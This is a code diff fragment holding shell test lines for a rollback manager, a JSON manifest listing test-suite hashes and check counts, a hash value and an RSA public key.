ROLLBACK_MARKER="$LEVEL5_DIR/13-rollback-marker.txt" ROLLBACK_MARKER="$LEVEL5_DIR/13-rollback-marker.txt"
ROLLBACK_RECORD="$("$SCRIPTS/rollback-manager.sh" record deploy "printf rolled_back > '$ROLLBACK_MARKER'")" printf 'rolled_back' > "$ROLLBACK_MARKER"
ROLLBACK_RECORD="$("$SCRIPTS/rollback-manager.sh" checkpoint "$ROLLBACK_MARKER")"
printf '%s\n' "$ROLLBACK_RECORD" > "$LEVEL5_DIR/13-rollback-record.stdout" printf '%s\n' "$ROLLBACK_RECORD" > "$LEVEL5_DIR/13-rollback-record.stdout"
TX_ID="$(printf '%s\n' "$ROLLBACK_RECORD" | sed -n 's/.*transaction_id=//p')" TX_ID="$(printf '%s\n' "$ROLLBACK_RECORD" | sed -n 's/.*transaction_id=\([^ ]*\).*/\1/p')"
printf 'MODIFIED_AFTER_CHECKPOINT' > "$ROLLBACK_MARKER"
"$SCRIPTS/rollback-manager.sh" execute "$TX_ID" > "$LEVEL5_DIR/13-rollback-execute.stdout" "$SCRIPTS/rollback-manager.sh" execute "$TX_ID" > "$LEVEL5_DIR/13-rollback-execute.stdout"
assert_contains "$ROLLBACK_MARKER" "rolled_back" assert_contains "$ROLLBACK_MARKER" "rolled_back"
@@ -0,0 +1,138 @@
{
"suites": {
"adversarial-harness-tests.sh": {
"sha256": "3cedc614214045ea3c58ab4ddb018ed7e69e2a9051ee1dd5f7228258ba2417a7",
"checks": 41
},
"phase-c6-sandbox-tests.sh": {
"sha256": "b1ae109f2449ddc59547551d1c0e457ce767d55451854b3d40ca2d9ca4e851b7",
"checks": 4
},
"phase-c7-incident-tests.sh": {
"sha256": "87f83d660bbc5ee541fd299472d991694e44013a1248ee5ebb802b5009b99327",
"checks": 16
},
"phase-control-plane-tests.sh": {
"sha256": "50c1c1b20ea43858d5f6a65b5fa0b7c09c13e3ae8b2348ca983bc15733b10130",
"checks": 9
},
"phase-governance-report-tests.sh": {
"sha256": "a0720d70fae876a346037bce6762576bfba0b65c0148593d860550befa7a0182",
"checks": 5
},
"phase-h4-multilingual-tests.sh": {
"sha256": "e99ca2b85c5d70987ff0cae162bb370a612574093f164567c92bf3075e965a7f",
"checks": 3
},
"phase-h4-split-inject-tests.sh": {
"sha256": "60bca85653e6568146056d4c50c71f51d85b025c30fcb75de8ac8b4f9f655d1c",
"checks": 9
},
"phase-h5-approval-tests.sh": {
"sha256": "091761e2c99821fec0a11b0099697fe24e3d30a3f6491930acbf10d02cacf7d3",
"checks": 13
},
"phase-h5-infra-tests.sh": {
"sha256": "4117c7a21af5be28c1f833efff239ee441cadfdbbec65427fa39d4349a94cdd2",
"checks": 8
},
"phase-h6-agentops-tests.sh": {
"sha256": "1b3e347fed4403a227eebb51a888c5b19653fe448e0b3a6e6094d4efccc510d1",
"checks": 21
},
"phase-preflight-tests.sh": {
"sha256": "b184211b1fe55d71ce4f0d371d26f5245f721a6bc4a51e3f61301b3126821eea",
"checks": 5
},
"phase-prod-infra-lab-tests.sh": {
"sha256": "a6bff248f0c495ebee56e2ba07de270d22503f357434b6cb948430f08cf996a8",
"checks": 2
},
"phase-rai-tests.sh": {
"sha256": "bad387ad26ae3088c016f51ff5d6e1c234c9b94fbdb8fa9f736b6bebedd81cd8",
"checks": 12
},
"phase-rbac-tests.sh": {
"sha256": "e7a2eb9110539f21eddf77f7fb9df0e616967d0dc870063d11a078e8920a3226",
"checks": 12
},
"phase-sec01-tests.sh": {
"sha256": "293b944f71298d38d7e89bea9d4906e40ffbe81f9d822c2ca320bb5a2ba21d92",
"checks": 10
},
"phase-sec02-tests.sh": {
"sha256": "4f76e12bcaf96f2d001436af10ddd21d5b858456660d01df8dfbeef3f3de53af",
"checks": 3
},
"phase-sec03-tests.sh": {
"sha256": "ea4d00e4dc35e5717dbdedc7fc84b87ec30f2f0c99c0898a113d63582e7ed982",
"checks": 3
},
"phase-sec04-tests.sh": {
"sha256": "c451b61e4efa8aba9394a548f8b248285f9f78c9e466d29045e1320877f28ef1",
"checks": 4
},
"phase-sec05-tests.sh": {
"sha256": "0800e34c4da323a0937b8594cdee256062575166723e413be9c334ce70290823",
"checks": 4
},
"phase-sec06-tests.sh": {
"sha256": "71e04cba738f501e79dd6b2c02aa86c7434c5ce541af5c7e512a2c94219f1c33",
"checks": 5
},
"phase-sec16-tests.sh": {
"sha256": "3d826ca4f5c8f98837cc70846b8e2f2f83d5a598c2a5907795e8b9cc9db448c2",
"checks": 6
},
"phase-sec17-tests.sh": {
"sha256": "d68b93ebc0d16ee2369a5525fe206a9133c95ef0f931f9bfa799d21b571dbf4c",
"checks": 6
},
"phase-selfimprove-tests.sh": {
"sha256": "e91db1af16e30b18def130553f27f05691ff5540eca0593ca5e07f624c0ef938",
"checks": 7
},
"phase08-compression-tests.sh": {
"sha256": "3efdb7b13b77579e6d7750add608be0ce894ecc2e816d2d507de8070e794aae7",
"checks": 9
},
"phase1-track-a-tests.sh": {
"sha256": "3cf50c42335b23571f75dfae0ac1ba5c0332747a35d99f39a1dddfbd9de8e787",
"checks": 22
},
"phase10-traceability-tests.sh": {
"sha256": "eac99b364172a43dee908ae77e3fe3a613d74aad2b70eb95d51ae5df776a1350",
"checks": 6
},
"phase2-sourcegen-tests.sh": {
"sha256": "1af646519088faff5ef7971191a30aaa05e3fa8d12fb35bb5483ac11385c2e2e",
"checks": 3
},
"phase2-track-c-tests.sh": {
"sha256": "6e57b358f4cc03c3ad393cf320c5a323f993a57647c4ab641266d6cdb3ec1120",
"checks": 30
},
"phase3-evidence-pack-tests.sh": {
"sha256": "9aa0f2a2c57a278ed3edb7170f1825cfc2f5c99ce179fd260a28368b446f5481",
"checks": 8
},
"phase3-judge-gate-tests.sh": {
"sha256": "3fc0bbbb9fa52bdcc7a0c98746cfe69db93329a09e1f78fa615e57b50a8ebaea",
"checks": 0
},
"phase3-model-router-tests.sh": {
"sha256": "f027104f2f115493bfff982218bd316b1cd7734a66a92f50e4d231c8df803aa5",
"checks": 11
},
"phase3-redteam-metrics.sh": {
"sha256": "fc8b411cd07cd15b04c836255dfaa50d23d9a11672673fe0caa6e5a55ab11c20",
"checks": 0
},
"run-casan4-harness-tests.sh": {
"sha256": "ac572791bdd4d195818932c4cbeb0cf9409f4c63492317334ac06bb2f7bc639a",
"checks": 10
}
},
"total_checks": 307,
"suite_count": 33
}
@@ -0,0 +1 @@
06273ff0acaaaabfa2b5ca8d6f06d722e1423d995bcd8ba772251c1282f4dd41
@@ -0,0 +1,9 @@
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA30OELMJb2Ee2BXI7GlNb
pPyX7CVoJhS4FhFzBAWsTmaVISnyTxte1938JwupAPJUoVE2kQTy3lwgPTFrzrlT
ZP6SdmaRnT0yL4gN/eXQE7Kq5998Qcaf7VxFE96l9s3bBmonwu/FrgL/Ph05kMOK
1yxBOnXlMWqQYyvbyi4BkIgB/fe/HQ04jotNjpPjkTyagPtzm9aZB+e2lThAJt11
IRIQfbfyUt5k4aKMHKfUWWrnoFZDj1kXMXSY5HdKRvt03Z8HGo/Kr54XNlYWj8LO
PPNKpWrb65JFRgF7TF6IPoInfHGAomTC9fHIxsYyanFe7IHGrCwx8GGAvTT1XgH9
WwIDAQAB
-----END PUBLIC KEY-----